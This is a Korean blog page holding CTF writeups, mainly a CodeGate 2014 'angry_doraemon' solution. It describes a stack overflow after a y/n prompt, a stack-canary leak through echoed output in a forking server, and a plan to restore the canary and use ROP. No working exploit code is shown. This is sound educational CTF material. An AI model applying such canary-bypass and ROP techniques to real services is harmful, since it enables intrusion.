    write(fd, &s, strlen(&s));

  }

  write(fd, v12, strlen(v12));

  result = *MK_FP(__GS__, 20) ^ v20;

  if ( *MK_FP(__GS__, 20) != v20 )

    __stack_chk_fail(v5, v4);

  return result;

} 


문제 소스이다

아이다가 지정한 변수명을 보기 쉽게 바꿔놨으니 소스 설명은 생략하겠다







신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23
CodeGate Junior 2014 nuclear 문제  (0) 2014.02.14

설정

트랙백

댓글

CodeGate 2014 angry_doraemon writeup

크리에이티브 커먼즈 라이선스
Creative Commons License



많은 팀들이 푼 문제입니다

문제가 전체적으로 코게주니어 nuclear문제랑 비슷했습니다 ( http://cd80.tistory.com/37 )


angry_doraemon_c927b1681064f78612ce78f6b93c14d9




문제가 올라온직후엔 바이너리 링크가 없어서 메모리 릭 위주로 찾았었는데

조금있다가 링크가 걸려서 다운받아 분석해 풀었습니다



공격대상 함수다

write(fd, "Are you sure? (y/n) ", 0x14u);

이후에 있는 read함수에서 오버플로우가 발생하고

첫바이트가 'y'일 경우 You chooose '%s'!\ 가 출력된다

굳이 y를 골랐다는걸 다시 보여줄 필요가 없는부분에서 출력한다는점에서 의심스러운 부분이다


함수에 SSP가 걸려있지만 소켓프로그램이기때문에 항상 fork로 실행해서 항상 같은 카나리를 갖는다



드래그한부분이 canary의 세바이트다

그런데 y를 10개넣었을땐 카나리가 출력되지 않으니

카나리의 첫바이트가 00인걸 알 수 있다

즉 카나리는 0x84c38b00이다

카나리값을 알았으니 카나리 위치에 그대로 넣어주고 ROP로 풀면된다

신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23
CodeGate Junior 2014 nuclear 문제  (0) 2014.02.14
Codegate 2013 vuln 200  (5) 2013.11.28

설정

트랙백

댓글


티스토리 툴바